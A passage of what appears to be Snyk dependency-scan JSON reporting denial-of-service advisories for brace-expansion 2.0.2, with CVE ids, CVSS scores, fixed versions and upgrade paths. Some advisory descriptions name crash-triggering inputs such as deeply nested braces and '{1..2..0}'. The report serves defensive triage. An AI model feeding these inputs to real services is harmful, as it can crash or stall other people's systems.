"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
